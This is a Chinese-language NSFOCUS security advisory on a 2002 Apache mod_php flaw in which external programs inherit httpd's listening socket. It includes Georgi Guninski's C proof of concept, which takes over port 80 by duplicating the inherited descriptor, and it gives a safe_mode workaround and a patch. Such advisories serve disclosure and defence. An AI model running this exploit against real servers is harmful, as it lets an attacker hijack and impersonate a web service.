首页 -> 安全研究

安全研究

安全漏洞
Apache mod_php文件描述符泄露漏洞

发布日期:2002-11-06
更新日期:2002-11-12

受影响系统:
Apache Group Apache 1.3.26
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Conectiva Linux 6.0
    - Mandrake Linux 9.0
    - Trustix Secure Linux 1.5
    - Trustix Secure Linux 1.2
    - Trustix Secure Linux 1.1
描述:
BUGTRAQ  ID: 6117

Apache Web Server是一款开放源代码的HTTP服务程序。

Apache Web在使用mod_php模块时执行外部程序处理不正确,远程攻击者利用这个漏洞重用httpd守护进程的描述符,控制TCP 80端口。

当mod_php启动外部应用程序时,它会继承打开监听的httpd套接口,通过fork(), dup() close() 和accept()调用的帮助,外部程序可以使自己变成为监听的httpd服务程序。意味着利用这个漏洞攻击者可以绑定恶意的服务程序来代替Apache httpd服务程序。

要注意的是要利用这个漏洞必须在'safe_mode' PHP选项关闭的情况下才能触发。

<*来源:Georgi Guninski (guninski@guninski.com
  
  链接:http://www.guninski.com/php1.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Georgi Guninski (guninski@guninski.com)提供了如下测试方法:

/*----tcp4.c----*/
/*    TCP Example code by Kien Pham (Heavily documented to help others understand.)
    This code is now in Public Domain.
    Look ma, I did this all by myself.    */

/*
This proggie was taken somewhere from the net as a socket example
Changed a little for interaction with mod_php -- georgi
*/

#include<sys/socket.h>    // Include these for socket(), connect(), bind(), etc.
#include<sys/types.h>
#include<netdb.h>        // Include this for getprotobyname()
#include<string.h>    // Include this for memset()
#include<netinet/in.h>    // Include this for htonl(), htons(), etc.
#include<unistd.h>

#define    PORT    2000

#define THEFD    16

#define INSIZE 20000

void    servermsux()
    {
     // Variables for the server component of the application.

     int file_descriptor;    // File descriptor that represents the server socket.
     struct    sockaddr_in    server_address;    // Really only contains the port we want to listen on.
     int    inbound_connection;    // File descriptor that represents the socket of the inbound connection.
     struct    sockaddr_in    inbound_address;    // Address of the inbound connection.
     int    inbound_address_size;    // Size of the structure for the inbound connection.
     unsigned    char    *address_holder;    // Pointer to simplify the extraction of IP addresses.
     char    message[]="HTTP/1.1 200 OK\nContent-Type: text/html\n\n"
        "<h1>Hi<br>MSUX</h1>";    // Constant string to send to the client.
     char    buffer[INSIZE];        // Buffer to hold incoming data from the client.

     // Code for the server component begins here.

    file_descriptor=dup(THEFD);

     if    (file_descriptor<0)    // Check to see if there was a failure in allocation.
        {
         perror("Server: socket()");
         return;
        }
    if (close(THEFD) == -1) {perror("close");return; };
    close(1);close(3);    
while(42)
{
     memset((void*)&inbound_address, 0, sizeof(inbound_address));
     inbound_address.sin_family=AF_INET;
     inbound_address_size=sizeof(inbound_address);    // Make sure you do this, or the inbound_address will not be filled with information about the incomming address.
     inbound_connection=accept(file_descriptor, (struct sockaddr*)&inbound_address, &inbound_address_size);    // Grab the first socket that represents the client that has connected. If none yet, block and wait till somebody does.
     if    (inbound_connection<0)
        {
         perror("2 accept()");
         return;
        }
     address_holder=(unsigned char*)&inbound_address.sin_addr.s_addr; // Save ourselves a call to the OS to convert.
    
     if    (read(inbound_connection, buffer, INSIZE)<0)    // Read from the client.
        {
         perror("2 Server: read()");
         return;
        }

     if    (write(inbound_connection, message, sizeof(message))<0)    // Write the message to the client.
        {
         perror("2 Server: write()");
         return;
        }  
     close(inbound_connection);    // Tell the OS to clean up and free resources that we have used.
} //while
     close(file_descriptor);
    }


int    main(void)
    {
     printf("\n2 TCP Networking Injection Example\n");
//     printf("Written by Kien Pham\n");
//     printf("For the Networking mini-Tutorial (http://www.tripod.com/~Xengren)\n");
     if    (!fork())    
        servermsux();

    }
/*----end-------*/

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 编辑php.ini文件,启用'safe_mode'选项。

厂商补丁:

Apache Group
------------
目前厂商还没有提供补丁或者升级程序,Georage Guninski提供如下第三方补丁:

*** src/main/http_main.c.old    Sun Oct 20 14:13:47 2002
--- src/main/http_main.c        Sun Oct 20 14:44:18 2002
*************** static int make_sock(pool *p, const stru
*** 3784,3792 ****
--- 3784,3795 ----
         GETPRIVMODE();
   #endif

+ if (fcntl(s,F_SETFD,FD_CLOEXEC)== -1) ap_log_error(APLOG_MARK, APLOG_CRIT,
server_conf, "make_sock: could not do F_SETFD");
       if (bind(s, (struct sockaddr *) server, sizeof(struct sockaddr_in)) == -1) {
         ap_log_error(APLOG_MARK, APLOG_CRIT, server_conf,
              "make_sock: could not bind to %s", addr);
+ // by georgi
+
   #ifdef MPE
         if (ntohs(server->sin_port) < 1024)
             GETUSERMODE();

浏览次数:5968
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障